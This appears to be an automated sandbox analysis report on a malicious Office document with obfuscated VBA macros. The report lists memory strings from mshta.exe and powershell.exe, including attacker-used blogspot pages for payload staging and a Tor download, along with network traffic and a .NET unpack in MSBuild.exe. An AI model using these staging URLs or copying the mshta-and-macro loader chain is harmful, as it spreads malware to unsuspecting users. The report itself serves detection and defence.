Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: mshta.exe, 00000006.00000003.2251143360.00000000058E6000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2242751517.000000000018E000.00000004.00000001.sdmp	String found in binary or memory: https://startthepartyup.blogspot.com/p/backbone14.html
Source: mshta.exe, 00000006.00000003.2244847739.00000000080E4000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.com/intent/tweet?text=
Source: mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogblog.com;
Source: mshta.exe, 00000006.00000003.2250733419.00000000080A4000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2309438572.0000000007590000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2264460439.0000000003B3E000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com
Source: mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/
Source: mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/?tab=jj
Source: mshta.exe, 00000006.00000003.2221466352.00000000058DC000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2249185523.0000000005919000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2307809275.000000000588D000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2308484243.0000000005919000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221567445.0000000003B49000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221525300.0000000005919000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/blogin.g?blogspotURL%3Dhttps://mainjigijigi123.blogspot.com/p/st2222.html%26
Source: mshta.exe, 00000006.00000002.2308413634.0000000005903000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000003.2246403287.00000000058DC000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2276101830.0000000003AF4000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2264173240.00000000057E2000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2307104114.00000000057BF000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221534508.000000000592E000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/blogin.g?blogspotURL=https%3A%2F%2Fmainjigijigi123.blogspot.com%2Fp%2Fst2222
Source: mshta.exe, 00000006.00000003.2221466352.00000000058DC000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2307809275.000000000588D000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/blogin.g?blogspotURL=https://mainjigijigi123.blogspot.com/p/st2222.html
Source: mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/blogin.g?blogspotURL=https://mainjigijigi123.blogspot.com/p/st2222.html$
Source: mshta.exe, 00000006.00000003.2245647822.0000000003AF4000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/blogin.g?blogspotURL=https://mainjigijigi123.blogspot.com/p/st2222.html0E)
Source: mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/blogin.g?blogspotURL=https://mainjigijigi123.blogspot.com/p/st2222.htmlH
Source: mshta.exe, 00000006.00000003.2221466352.00000000058DC000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/blogin.g?blogspotURL=https://mainjigijigi123.blogspot.com/p/st2222.htmlgspo
Source: mshta.exe, 00000006.00000003.2241524951.000000000306E000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221404976.000000000588B000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/comment-iframe.g?blogID=9116518222795791100&pageID=8792113328696570758
Source: mshta.exe, 00000006.00000003.2251330504.0000000003472000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/comment-iframe.g?blogID=9116518222795791100&pageID=8792113328696570758&blogs
Source: mshta.exe, 00000006.00000002.2307809275.000000000588D000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/comment-iframe.g?blogID=9116518222795791100&pageID=87921133286965707584.0E)
Source: mshta.exe, 00000006.00000002.2307809275.000000000588D000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/comment-iframe.g?blogID=9116518222795791100&pageID=8792113328696570758QV
Source: mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/dyn-css/authorization.css?targetBlogID=9116518222795791100&zx=6c18238f-a
Source: mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000003.2264656702.0000000005790000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2268752181.00000000003DE000.00000004.00000020.sdmp	String found in binary or memory: https://www.blogger.com/dyn-css/authorization.css?targetBlogID=9116518222795791100&zx=6c18238f-a384-
Source: mshta.exe, 00000006.00000003.2250723670.000000000341C000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250733419.00000000080A4000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250960830.0000000003B3F000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/feeds/9116518222795791100/posts/default
Source: mshta.exe, 00000006.00000003.2235127102.000000000340C000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/go/adspersonalization
Source: mshta.exe, 00000006.00000003.2225510825.000000000347F000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/go/blogspot-cookies
Source: mshta.exe, 00000006.00000003.2264048147.00000000057F1000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/go/buzz
Source: mshta.exe, 00000006.00000003.2264048147.00000000057F1000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/go/contentpolicy
Source: mshta.exe, 00000006.00000003.2264048147.00000000057F1000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/go/devapi
Source: mshta.exe, 00000006.00000003.2264048147.00000000057F1000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/go/devforum
Source: mshta.exe, 00000006.00000003.2264048147.00000000057F1000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/go/discuss
Source: mshta.exe, 00000006.00000003.2264048147.00000000057F1000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/go/helpcenter
Source: mshta.exe, 00000006.00000003.2264048147.00000000057F1000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/go/privacy
Source: mshta.exe, 00000006.00000003.2264048147.00000000057F1000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/go/terms
Source: mshta.exe, 00000006.00000003.2264048147.00000000057F1000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/go/tutorials
Source: mshta.exe, 00000006.00000003.2249185523.0000000005919000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221525300.0000000005919000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/img/share_buttons_20_3.png
Source: mshta.exe, 00000006.00000003.2249185523.0000000005919000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/img/share_buttons_20_3.pnga
Source: mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp	String found in binary or memory: https://www.blogger.com/img/share_buttons_20_3.pngcomment_from_post_iframe.jspng
Source: mshta.exe, 00000006.00000003.2264609291.00000000057CD000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/img/share_buttons_20_3.pngmple/gradients_light.pngight.pngom%2Fp%2Fst2222.ht
Source: mshta.exe, 00000006.00000003.2249185523.0000000005919000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/img/share_buttons_20_3.pngv
Source: mshta.exe, 00000006.00000003.2249185523.0000000005919000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/img/share_buttons_20_3.pngx
Source: mshta.exe, 00000006.00000003.2250626872.0000000005947000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/page-edit.g?blogID=9116518222795791100&pageID=8792113328696570758&from=penci
Source: mshta.exe, 00000006.00000003.2259640260.0000000003069000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp	String found in binary or memory: https://www.blogger.com/rpc_relay.html
Source: mshta.exe, 00000006.00000003.2250626872.0000000005947000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221404976.000000000588B000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/share-post.g?blogID=9116518222795791100&pageID=8792113328696570758&target=bl
Source: mshta.exe, 00000006.00000003.2250626872.0000000005947000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221404976.000000000588B000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/share-post.g?blogID=9116518222795791100&pageID=8792113328696570758&target=em
Source: mshta.exe, 00000006.00000003.2250626872.0000000005947000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221404976.000000000588B000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/share-post.g?blogID=9116518222795791100&pageID=8792113328696570758&target=fa
Source: mshta.exe, 00000006.00000003.2250626872.0000000005947000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221404976.000000000588B000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/share-post.g?blogID=9116518222795791100&pageID=8792113328696570758&target=pi
Source: mshta.exe, 00000006.00000003.2250626872.0000000005947000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221404976.000000000588B000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/share-post.g?blogID=9116518222795791100&pageID=8792113328696570758&target=tw
Source: mshta.exe, 00000006.00000003.2253117052.0000000002DF1000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2262558923.000000000012E000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2242550287.00000000075DE000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/jsbin/2036001057-lbx__en_gb.js
Source: mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250247675.000000000044A000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2244847739.00000000080E4000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/jsbin/3101730221-analytics_autotrack.js
Source: mshta.exe, 00000006.00000003.2250647258.0000000005956000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/jsbin/3101730221-analytics_autotrack.js.blogspot.com%2Fp%2Fst2222.
Source: mshta.exe, 00000006.00000003.2249695813.000000000592E000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/jsbin/3101730221-analytics_autotrack.jsC:
Source: mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/jsbin/3101730221-analytics_autotrack.jsT
Source: mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/jsbin/3101730221-analytics_autotrack.jsn
Source: mshta.exe, 00000006.00000003.2250247675.000000000044A000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/jsbin/3767
Source: mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250733419.00000000080A4000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2307104114.00000000057BF000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250960830.0000000003B3F000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2309438572.0000000007590000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/jsbin/376796862-ieretrofit.js
Source: mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/jsbin/376796862-ieretrofit.js.cssmV
Source: mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221404976.000000000588B000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/jsbin/3858658042-comment_from_post_iframe.js
Source: mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/jsbin/3858658042-comment_from_post_iframe.js06G
Source: mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/jsbin/3858658042-comment_from_post_iframe.jsET4.0C;
Source: mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2308413634.0000000005903000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250219385.0000000000430000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/v-css/281434096-static_pages.css
Source: mshta.exe, 00000006.00000002.2307104114.00000000057BF000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/v-css/281434096-static_pages.cssG
Source: mshta.exe, 00000006.00000003.2250647258.0000000005956000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/v-css/281434096-static_pages.cssjigi123.blogspot.com%2Fp%2Fst2222.
Source: mshta.exe, 00000006.00000003.2253117052.0000000002DF1000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2262558923.000000000012E000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2242550287.00000000075DE000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/v-css/368954415-lightbox_bundle.css
Source: mshta.exe, 00000006.00000002.2269527177.000000000045F000.00000004.00000020.sdmp, mshta.exe, 00000006.00000002.2276548700.0000000003B43000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/widgets/3416767676-css_bundle_v2.css
Source: mshta.exe, 00000006.00000003.2250281158.000000000045F000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/widgets/3416767676-css_bundle_v2.cssEV
Source: mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/widgets/3416767676-css_bundle_v2.cssQV
Source: mshta.exe, 00000006.00000003.2250281158.000000000045F000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/widgets/3416767676-css_bundle_v2.csscV
Source: mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221495845.0000000005903000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2221581590.0000000003B5D000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250733419.00000000080A4000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250219385.0000000000430000.00000004.00000001.sdmp, mshta.exe, 00000006.00000002.2307104114.00000000057BF000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/widgets/84067855-widgets.js
Source: mshta.exe, 00000006.00000002.2307104114.00000000057BF000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/widgets/84067855-widgets.jsY
Source: mshta.exe, 00000006.00000002.2307104114.00000000057BF000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/static/v1/widgets/84067855-widgets.jseflate
Source: mshta.exe, 00000006.00000003.2242751517.000000000018E000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2246295022.0000000005886000.00000004.00000001.sdmp	String found in binary or memory: https://www.blogger.com/unvisited-link-
Source: powershell.exe, 0000000C.00000002.2283404590.000000000632D000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: mshta.exe, 00000006.00000002.2308413634.0000000005903000.00000004.00000001.sdmp	String found in binary or memory: https://www.google-analytics.com/
Source: mshta.exe, 00000006.00000003.2249185523.0000000005919000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2244847739.00000000080E4000.00000004.00000001.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: mshta.exe, 00000006.00000003.2249695813.000000000592E000.00000004.00000001.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.jsZ
Source: mshta.exe, 00000006.00000003.2249185523.0000000005919000.00000004.00000001.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.jsal
Source: mshta.exe, 00000006.00000003.2250647258.0000000005956000.00000004.00000001.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.jsttps%3A%2F%2Fmainjigijigi123.blogspot.com%2Fp%2Fst2222.
Source: mshta.exe, 00000006.00000002.2308413634.0000000005903000.00000004.00000001.sdmp	String found in binary or memory: https://www.google-analytics.com/s
Source: mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com
Source: mshta.exe, 00000006.00000003.2250647258.0000000005956000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/
Source: mshta.exe, 00000006.00000003.2250647258.0000000005956000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/CO
Source: mshta.exe, 00000006.00000002.2308413634.0000000005903000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/css/maia.css
Source: mshta.exe, 00000006.00000002.2308413634.0000000005903000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/css/maia.cssM
Source: mshta.exe, 00000006.00000002.2309877256.00000000080A2000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/css/maia.cssg
Source: mshta.exe, 00000006.00000002.2268752181.00000000003DE000.00000004.00000020.sdmp	String found in binary or memory: https://www.google.com/css/maia.cssgspotURL=https%3A%2F%2Fmainjigijigi123.blogspot.com%2Fp%2Fst2222.
Source: mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657
Source: mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	String found in binary or memory: https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Source: mshta.exe, 00000006.00000003.2264675792.000000000585E000.00000004.00000001.sdmp	String found in binary or memory: https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_dark_clr_74x24px.svg
Source: mshta.exe, 00000006.00000003.2264675792.000000000585E000.00000004.00000001.sdmp	String found in binary or memory: https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_light_clr_74x24px.svg
Source: mshta.exe, 00000006.00000003.2264365340.0000000005775000.00000004.00000001.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/gplus-32.png
Source: mshta.exe, 00000006.00000002.2269752130.000000000047C000.00000004.00000001.sdmp, mshta.exe, 00000006.00000003.2250281158.000000000045F000.00000004.00000001.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/gplus-32.png)
Source: mshta.exe, 00000006.00000003.2261840668.00000000075DE000.00000004.00000001.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/search_black_24dp.png
Source: mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.TCoB7ee77HA.O/rt=j/m=q_d
Source: mshta.exe, 00000006.00000003.2245292730.0000000003A97000.00000004.00000001.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.1KF06_f2niE.L.X.O/m=qawd
Source: powershell.exe, 0000000C.00000002.2279587829.00000000046AE000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: mshta.exe, 00000006.00000003.2264275089.000000000582F000.00000004.00000001.sdmp	String found in binary or memory: https://www.youtube.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49200
Source: unknown	Network traffic detected: HTTP traffic on port 49183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49188
Source: unknown	Network traffic detected: HTTP traffic on port 49181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49183
Source: unknown	Network traffic detected: HTTP traffic on port 49200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49181
Source: unknown	Network traffic detected: HTTP traffic on port 49204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49213
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49210
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 49190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 49188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49193
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49190
Source: unknown	Network traffic detected: HTTP traffic on port 49208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49206
Source: unknown	Network traffic detected: HTTP traffic on port 49215 -> 443

Source: unknown	HTTPS traffic detected: 108.177.127.132:443 -> 192.168.2.22:49168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.177.127.132:443 -> 192.168.2.22:49178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.177.127.132:443 -> 192.168.2.22:49188 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.177.127.132:443 -> 192.168.2.22:49192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.177.127.132:443 -> 192.168.2.22:49200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.177.127.132:443 -> 192.168.2.22:49208 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.177.127.132:443 -> 192.168.2.22:49213 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.177.127.132:443 -> 192.168.2.22:49215 version: TLS 1.2

Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS

System Summary:

.NET source code contains very large array initializations

Show sources

Source: 29.2.MSBuild.exe.400000.2.unpack, u003cPrivateImplementationDetailsu003eu007bE0F986DBu002d41FAu002d48F8u002d8F63u002d63B8796C3D6Fu007d/u0030691DBC7u002d6A15u002d4BCCu002dB997u002d853341EE6FA4.cs

Large array initialization: .cctor: array initializer size 12059

Document contains an embedded VBA with base64 encoded strings

Show sources

Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function nQedtxArQgZ, String zEROxKkkLThIdHgxYyJD
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function PvrrqugmtK, String zEROxKkkLThIdHgxYyJD
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function aaBJQySxVnzo, String zEROxKkkLThIdHgxYyJD
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function QAPwCVeTzuvty, String zEROxKkkLThIdHgxYyJD
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function QAPwCVeTzuvty, String MyORUMlOteZN
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function hHvsmECZuS, String zEROxKkkLThIdHgxYyJD
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function hHvsmECZuS, String MyORUMlOteZN
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function hHvsmECZuS, String SoqzJEixPkDxnScc
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function SADYAESdyLyl, String zEROxKkkLThIdHgxYyJD
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function SADYAESdyLyl, String MyORUMlOteZN
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function SADYAESdyLyl, String SoqzJEixPkDxnScc
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function SADYAESdyLyl, String umiuKavjsPKoqQrwEtZi
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function CHflsQkjzDFxQmeO, String zEROxKkkLThIdHgxYyJD
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function CHflsQkjzDFxQmeO, String MyORUMlOteZN
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function CHflsQkjzDFxQmeO, String SoqzJEixPkDxnScc
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function CHflsQkjzDFxQmeO, String umiuKavjsPKoqQrwEtZi
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function YqawgrxtEVk, String zEROxKkkLThIdHgxYyJD
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function YqawgrxtEVk, String MyORUMlOteZN
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function YqawgrxtEVk, String SoqzJEixPkDxnScc
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function YqawgrxtEVk, String umiuKavjsPKoqQrwEtZi
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function GhgwmphFjNLti, String zEROxKkkLThIdHgxYyJD
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function GhgwmphFjNLti, String MyORUMlOteZN
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function GhgwmphFjNLti, String SoqzJEixPkDxnScc
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function GhgwmphFjNLti, String umiuKavjsPKoqQrwEtZi
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function AKQMZpqLNQucEUBHbjY, String zEROxKkkLThIdHgxYyJD
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function AKQMZpqLNQucEUBHbjY, String MyORUMlOteZN
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function AKQMZpqLNQucEUBHbjY, String SoqzJEixPkDxnScc
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function AKQMZpqLNQucEUBHbjY, String umiuKavjsPKoqQrwEtZi
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function kVazolfxuRnLRNadrMO, String zEROxKkkLThIdHgxYyJD
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function kVazolfxuRnLRNadrMO, String MyORUMlOteZN
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function kVazolfxuRnLRNadrMO, String SoqzJEixPkDxnScc
